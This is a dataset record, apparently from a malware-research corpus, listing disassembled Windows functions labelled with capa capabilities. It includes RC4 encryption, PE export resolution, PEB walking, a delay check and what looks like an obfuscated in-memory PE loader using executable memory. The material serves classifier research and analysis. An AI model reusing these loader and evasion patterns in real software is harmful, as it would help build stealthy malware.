joyce8/EMBER2024-capa huggingface dataset:
Function at 0x424c1b
Capabilities:
Get graphical window text

Disassembly:
push ebp
sub esp, 0x240
lea ebp, [esp - 4]
mov eax, dword [0x47b570]
xor eax, ebp
mov dword [ebp + 0x240], eax
push 0x40
mov eax, 0x45f888
call fcn.00443770
mov eax, dword [ebp + 0x24c]
xor ebx, ebx
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x424def
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x424def
call fcn.00423324
cmp byte [eax + 0x2a], bl
jne 0x424c77
cmp byte [eax + 0x29], bl
jne 0x424c77
mov ecx, eax
call fcn.00424a2f
mov esi, 0x103
push esi
lea eax, [ebp + 0x13d]
push ebx
push eax
mov byte [ebp + 0x13c], bl
call fcn.00443310
add esp, 0xc
lea edi, [esi + 1]
push edi
lea eax, [ebp + 0x13c]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp + 0x13c]
push eax
push dword [ebp + 0x250]
lea eax, [ebp - 0x30]
push eax
call fcn.00424bb0
add esp, 0xc
cmp dword [eax + 0x18], 0x10
jb 0x424ccb
mov eax, dword [eax + 4]
jmp 0x424cce
add eax, 4
push eax
push dword [ebp - 0x10]
call dword [sym.imp.USER32.dll_SetWindowTextA]
push ebx
push 1
lea ecx, [ebp - 0x30]
call fcn.004014f6
push esi
lea eax, [ebp + 0x39]
push ebx
push eax
mov byte [ebp + 0x38], bl
call fcn.00443310
add esp, 0xc
mov esi, 0x462c08
push esi
lea ecx, [ebp]
call fcn.00403364
push esi
lea ecx, [ebp + 0x1c]
mov dword [ebp - 4], ebx
call fcn.00403364
push 5
push dword [ebp - 0x10]
mov byte [ebp - 4], 1
jmp 0x424dc9
push esi
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x424dc6
push edi
lea eax, [ebp + 0x38]
push ebx
push eax
call fcn.00443310
add esp, 0xc
push edi
lea eax, [ebp + 0x38]
push eax
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
mov dword [ebp - 0x10], ebx
mov eax, dword [ebp - 0x10]
push dword [eax + 0x479544]
lea eax, [ebp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x424d6e
add dword [ebp - 0x10], 4
cmp dword [ebp - 0x10], 8
jb 0x424d4b
jmp 0x424dc6
push edi
lea eax, [ebp + 0x13c]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp + 0x13c]
push eax
push dword [ebp - 0x14]
lea eax, [ebp - 0x4c]
push eax
call fcn.00424bb0
add esp, 0xc
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp + 0x1c]
mov byte [ebp - 4], 2
call fcn.00402007
push ebx
push 1
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 1
call fcn.004014f6
cmp dword [ebp + 0x34], 0x10
mov eax, dword [ebp + 0x20]
jae 0x424dbe
lea eax, [ebp + 0x20]
push eax
push esi
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 2
push esi
call dword [sym.imp.USER32.dll_GetWindow]
mov esi, eax
cmp esi, ebx
jne 0x424d1c
push ebx
push 1
lea ecx, [ebp + 0x1c]
call fcn.004014f6
push ebx
push 1
lea ecx, [ebp]
call fcn.004014f6
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x240]
xor ecx, ebp
call fcn.004432f5
add ebp, 0x244
leave
ret
Function at 0x4257aa
Capabilities:
Get system information on windows

Disassembly:
push 0x28
mov eax, 0x45f983
call fcn.00443770
mov esi, ecx
mov dword [ebp - 0x10], esi
lea ecx, [esi + 0xb4]
mov dword [esi], vtable.OSVersion.0
call fcn.00401f22
xor ebx, ebx
lea ecx, [esi + 0xd0]
mov dword [ebp - 4], ebx
call fcn.00401f22
push 0x9c
lea edi, [esi + 4]
push ebx
push edi
mov byte [ebp - 4], 1
mov byte [esi + 0xa1], bl
mov byte [esi + 0xa0], bl
mov dword [esi + 0xa4], ebx
mov byte [esi + 0xa8], bl
mov dword [esi + 0xac], ebx
mov dword [esi + 0xb0], ebx
mov byte [esi + 0xa2], bl
call fcn.00443310
add esp, 0xc
push edi
mov dword [edi], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
dec eax
neg eax
sbb al, al
inc al
mov byte [esi + 0xa0], al
jne 0x425858
push 0x9c
push ebx
push edi
call fcn.00443310
add esp, 0xc
push edi
mov dword [edi], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x42585f
mov byte [esi + 0xa1], 1
cmp byte [esi + 0xa1], bl
je 0x4258bf
mov ecx, esi
call fcn.004253be
push 0x24
lea eax, [ebp - 0x34]
push ebx
push eax
call fcn.00443310
add esp, 0xc
push str.GetNativeSystemInfo
push 0x465578
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x4258a0
lea ecx, [ebp - 0x34]
push ecx
call eax
jmp 0x4258aa
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp word [ebp - 0x34], 9
jne 0x4258b8
mov byte [esi + 0xa8], 1
mov ecx, esi
call fcn.00425241
mov eax, esi
call fcn.00443848
ret

Function at 0x425d33
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
mov esi, ecx
mov ecx, dword [ebp + 0x10]
xor ebx, ebx
mov dword [esi + 0x18], ecx
lea ecx, [ebp + 0xc]
push ecx
push ebx
mov dword [esi + 0x10], eax
lea eax, [esi + 0x14]
push eax
push dword [ebp + 8]
mov byte [esi + 0x1d], bl
push ebx
push ebx
mov dword [ebp + 0xc], ebx
mov dword [eax], esi
call fcn.0044773a
add esp, 0x18
mov dword [esi + 4], eax
cmp eax, ebx
jne 0x425d75
xor eax, eax
mov byte [esi + 0x1d], bl
inc eax
jmp 0x425d7d
mov eax, dword [ebp + 0xc]
mov dword [esi + 8], eax
xor eax, eax
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x425da5
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 0x1d], 0
jne 0x425db2
mov al, 1
jmp 0x425dec
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
push edi
call ebp
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, eax
jmp 0x425dd8
cmp dword [esp + 0x14], 0xffffffff
je 0x425dd8
call ebp
sub eax, ebx
cmp eax, dword [esp + 0x14]
ja 0x425de2
push 0x32
call edi
cmp byte [esi + 0x1d], 0
jne 0x425dc7
cmp byte [esi + 0x1d], 0
pop edi
pop ebp
sete al
pop ebx
pop esi
ret 4
Function at 0x425e06
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp byte [esi + 0x1d], bl
je 0x425e45
cmp dword [esi + 8], ebx
je 0x425e45
mov eax, dword [esi + 4]
cmp eax, ebx
je 0x425e45
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esi + 4]
call fcn.00425df4
pop ecx
mov dword [esi + 8], ebx
mov byte [esi + 0x1d], bl
pop esi
pop ebx
ret

Function at 0x425f18
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ecx]
push edi
mov edi, dword [ecx + 4]
test ebx, ebx
jle 0x425f70
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
sub eax, edx
mov dword [ebp + 0xc], eax
mov dword [ebp + 8], ebx
inc esi
mov ebx, 0xff
and esi, ebx
movzx eax, byte [ecx + esi + 8]
add edi, eax
and edi, ebx
movzx ebx, byte [ecx + edi + 8]
mov byte [ecx + esi + 8], bl
mov byte [ecx + edi + 8], al
add al, bl
mov ebx, dword [ebp + 0xc]
movzx eax, al
mov al, byte [eax + ecx + 8]
xor al, byte [ebx + edx]
mov byte [edx], al
inc edx
dec dword [ebp + 8]
jne 0x425f3b
mov dword [ecx + 4], edi
pop edi
mov dword [ecx], esi
pop esi
xor eax, eax
pop ebx
pop ebp
ret

Function at 0x42681f
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x45e40d
call fcn.00443770
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x426844
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x42688a
lea ecx, [ebp - 0x10]
call fcn.004014ae
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00425fe9
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004010f6
mov eax, esi
call fcn.00443848
ret 8

Function at 0x42c236
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x42c27d
call fcn.004326f2
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x42c27d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x42c299
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0042bdb0
mov esi, eax
test edi, edi
je 0x42c297
test ebx, ebx
je 0x42c297
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x42eaf5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x42eb19
cmp dword [edi + 0x54], 0
jne 0x42eb19
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.004326f2
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0042eab6
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x430d7a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x430dc2
call fcn.004326f2
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x430dc2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x430e05
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x430dee
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x430dee
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x430e02
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x4432f5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x47b570]
jne 0x4432ff
repz ret
jmp fcn.0044b967
Function at 0x458311
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0044c950
and dword [ebp - 4], 0
cmp dword [0x480280], 0
mov ebx, eax
jne 0x4583c2
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x458473
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x46bb28
push edi
call esi
test eax, eax
je 0x458473
push eax
call fcn.0044c8de
mov dword [esp], 0x46bb18
push edi
mov dword [0x480280], eax
call esi
push eax
call fcn.0044c8de
mov dword [esp], 0x46bb04
push edi
mov dword [0x480284], eax
call esi
push eax
call fcn.0044c8de
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x480288], eax
call esi
push eax
call fcn.0044c8de
pop ecx
mov dword [0x480290], eax
test eax, eax
je 0x4583c2
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0044c8de
pop ecx
mov dword [0x48028c], eax
mov eax, dword [0x48028c]
cmp eax, ebx
je 0x45841a
cmp dword [0x480290], ebx
je 0x45841a
push eax
call fcn.0044c959
push dword [0x480290]
mov esi, eax
call fcn.0044c959
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x45841a
test edi, edi
je 0x45841a
call esi
test eax, eax
je 0x458411
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x458411
test byte [ebp - 0xc], 1
jne 0x45841a
or dword [ebp + 0x10], 0x200000
jmp 0x458453
mov eax, dword [0x480284]
cmp eax, ebx
je 0x458453
push eax
call fcn.0044c959
pop ecx
test eax, eax
je 0x458453
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x458453
mov eax, dword [0x480288]
cmp eax, ebx
je 0x458453
push eax
call fcn.0044c959
pop ecx
test eax, eax
je 0x458453
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x480280]
call fcn.0044c959
pop ecx
test eax, eax
je 0x458473
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x458475
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x101b452c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x101ccad0]
jne 0x101b4536
repz ret
jmp fcn.101b47dd

Function at 0x101b4b60
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x24
mov dword [ebp - 8], 0
mov dword [0x101ccaac], 0xea1
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov dword [0x101ccaac], 0x12cc
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
jmp 0x101b4c08
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x1c], eax
je 0x101b4c92
jmp 0x101b4cc8
mov eax, 0x19cd
mov ecx, dword [ebp - 0x20]
add ecx, 1
cmp ecx, 0x104
mov edx, ecx
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
jl 0x101b4c08
jmp 0x101b4c26
xor eax, eax
mov dword [0x101ccaac], 0x251c
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x1c], eax
je 0x101b4cb6
jmp 0x101b4cc8
mov eax, dword [ebp - 0x14]
mov ecx, 0x1bd2
mov edx, dword [ebp - 0x10]
cmp word [edx + eax*2], 0
mov esi, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], esi
jne 0x101b4bbe
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov dword [0x101ccab0], ecx
mov dword [0x101ccaac], 0x6b6
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], edx
jne 0x101b4cc8
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x18], 0x6f
mov dword [ebp - 0x1c], eax
jne 0x101b4cc8
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x1c], eax
jne 0x101b4cc8
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x14], 0x64
mov dword [ebp - 0x1c], eax
je 0x101b4ba1
jmp 0x101b4cc8
xor eax, eax
mov dword [0x101ccaac], 0xffffe770
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x1c], eax
je 0x101b4be1
jmp 0x101b4cc8
mov eax, 1
mov dword [0x101ccab0], 0x369d
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
add esp, 0x24
pop esi
pop ebp
ret
Function at 0x101b4dbe
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x101ccab8], 0
mov byte [0x101ccabc], 0
mov dword [0x101ccaac], 0x19f5
mov dword [0x101ccab4], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x101b4e1e
mov eax, dword [0x101ccaac]
mov ecx, dword [0x101ccab0]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
jmp 0x101b4e81
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x101ccaac]
add eax, 0x1e60
mov dword [0x101ccab0], eax
mov esi, dword [0x101ccab4]
add esi, 1
mov dword [0x101ccab4], esi
cmp esi, 0x100
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x1c], esi
jl 0x101b4e1e
mov eax, 0x1a82
xor ecx, ecx
mov dword [0x101ccaac], 0x1a82
mov dword [0x101ccab4], 0
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add ecx, 0xffffe1b1
add edx, 0xffffe791
mov dword [ebp - 0x34], eax
xor edi, edi
mov dword [ebp - 0x38], edx
mov edx, edi
mov edi, dword [ebp - 0x10]
div edi
mov dword [0x101ccac0], 0
mov dword [0x101ccab0], ecx
mov ecx, dword [0x101ccab8]
mov ebx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x34]
movzx edi, byte [ebx + edi]
add edi, ecx
mov ecx, dword [ebp - 0x14]
movzx edx, byte [ecx + edx]
add edi, edx
mov dword [0x101ccac0], edi
mov eax, edi
cdq
idiv esi
mov dword [0x101ccab8], edx
mov esi, dword [ebp - 0x34]
mov cl, byte [ebx + esi]
mov byte [0x101ccabc], cl
mov edi, dword [ebp - 0x38]
mov dword [0x101ccab0], edi
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x101ccabc]
mov edx, dword [0x101ccab8]
mov byte [ebx + edx], cl
mov edx, dword [0x101ccab4]
add edx, 1
mov dword [0x101ccab4], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x101b4e05
mov dword [0x101ccab0], 0x2635
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101b4f43
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [0x101ccaac], 0x15d2
mov dword [0x101ccab0], 0x1167
mov dword [ebp - 0x10], eax
call fcn.101b5f04
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x101b4f93
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [0x101ccab0], 0xfffffc1e
mov eax, dword [eax + 0x78]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x24]
mov dword [0x101ccaac], 0x901
mov edi, dword [edx + eax + 0x18]
cmp edi, 0
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x34], ebx
je 0x101b50cd
jmp 0x101b5037
mov eax, dword [ebp - 0x38]
mov ecx, eax
mov edx, dword [ebp - 0x3c]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x40], eax
mov byte [ebp - 0x41], bh
mov byte [ebp - 0x42], cl
je 0x101b509c
jmp 0x101b5070
xor eax, eax
mov ecx, dword [ebp - 0x48]
add ecx, 2
mov edx, dword [ebp - 0x4c]
add edx, 1
mov esi, dword [ebp - 0x30]
cmp edx, esi
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x34], eax
jb 0x101b5047
jmp 0x101b50cd
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x54]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + ecx*4]
mov dword [0x101ccab0], 0x1167
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], edx
jmp 0x101b4fdf
mov eax, dword [ebp - 0x40]
add eax, 1
mov cl, byte [ebp - 0x41]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x42]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x38], eax
jne 0x101b4fdf
mov al, byte [ebp - 0x42]
test al, 1
jne 0x101b50a8
jmp 0x101b500e
mov eax, dword [ebp - 0x48]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x101ccab0], 0x1d20
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x34]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x101b554e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x50
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x101ccaac]
add esi, 0xffffe61c
mov dword [0x101ccab0], esi
mov dword [0x101ccaac], 0x1cc
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
jmp 0x101b5653
mov eax, dword [ebp - 0x34]
mov dword [0x101ccab0], 0x12d8
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov ecx, dword [0x101ccab0]
add ecx, 0x206f
mov dword [0x101ccaac], ecx
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x38], eax
call fcn.101b59ac
xor eax, eax
mov ecx, dword [ebp - 0x38]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x101ccaac], 0x22f9
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov dword [0x101ccab0], 0x2203
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x2c], ecx
mov ecx, dword [ebp - 0x38]
mov dword [edx + 0x48], ecx
mov esi, dword [0x101ccaac]
add esi, 0xffffe791
mov dword [0x101ccaac], esi
add ecx, 0x2008
mov esi, dword [ebp - 0x38]
cmp esi, 0
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x40], eax
je 0x101b564a
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
add esp, 0x50
pop esi
pop ebp
ret
mov eax, dword [ebp - 0x30]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x101b73e2]
mov dh, byte [eax + 0x101b73b3]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x30], ecx
jne 0x101b5653
lea eax, [ebp - 0x24]
mov dword [0x101ccaac], 0x179a
mov dword [ebp - 0x44], eax
call fcn.101b53ff
mov dword [esp], eax
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
call fcn.101b57fc
cmp eax, 0
mov dword [ebp - 0x34], eax
jne 0x101b5587
xor eax, eax
add esp, 0x50
pop esi
pop ebp
ret
Function at 0x101b6084
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov ebx, 0x2448
mov dword [0x101ccab4], 0
mov dword [0x101ccab8], 0
mov dword [0x101ccac4], 0
mov dword [0x101ccaac], 0x2448
cmp eax, 0
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov eax, edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], edi
je 0x101b622b
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x14]
mov edi, 0x100
mov ebx, esi
add ebx, 1
mov dword [0x101ccab0], 0x264a
add ecx, 1
add edx, 0xffffffa9
mov dword [ebp - 0x30], eax
mov eax, ecx
mov dword [ebp - 0x34], edx
cdq
idiv edi
mov dword [0x101ccab4], edx
mov ecx, dword [ebp - 0x34]
mov dword [0x101ccaac], ecx
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ecx + edx]
mov dword [ebp - 0x38], edx
mov edx, dword [ebp - 0x30]
add ecx, edx
mov eax, ecx
cdq
idiv edi
mov dword [0x101ccab8], edx
mov ecx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x38]
mov cl, byte [ecx + edi]
mov byte [0x101ccabc], cl
mov dword [0x101ccab0], 0x20ef
mov ecx, dword [ebp - 0x24]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x24]
mov byte [edx + edi], cl
mov cl, byte [0x101ccabc]
mov edx, dword [0x101ccab8]
mov edi, dword [ebp - 0x24]
mov byte [edi + edx], cl
mov edx, dword [0x101ccaac]
mov ecx, edx
add ecx, 0xffffe99b
mov dword [0x101ccab0], ecx
mov ecx, dword [0x101ccab4]
movzx ecx, byte [edi + ecx]
mov edi, dword [0x101ccab8]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x24]
movzx edi, byte [ecx + edi]
mov ecx, dword [ebp - 0x3c]
add edi, ecx
and edi, 0xff
mov dword [0x101ccac4], edi
mov dword [0x101ccab0], 0x1562
mov ecx, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov edi, dword [ebp - 0x1c]
mov ch, byte [edi + esi]
add edx, 0x5a6
mov dword [0x101ccab0], edx
xor ch, cl
mov dword [0x101ccaac], 0x6a8
mov edx, dword [ebp - 0x20]
mov byte [edx + esi], ch
mov esi, dword [ebp - 0x10]
cmp ebx, esi
mov dword [ebp - 0x40], ebx
je 0x101b622b
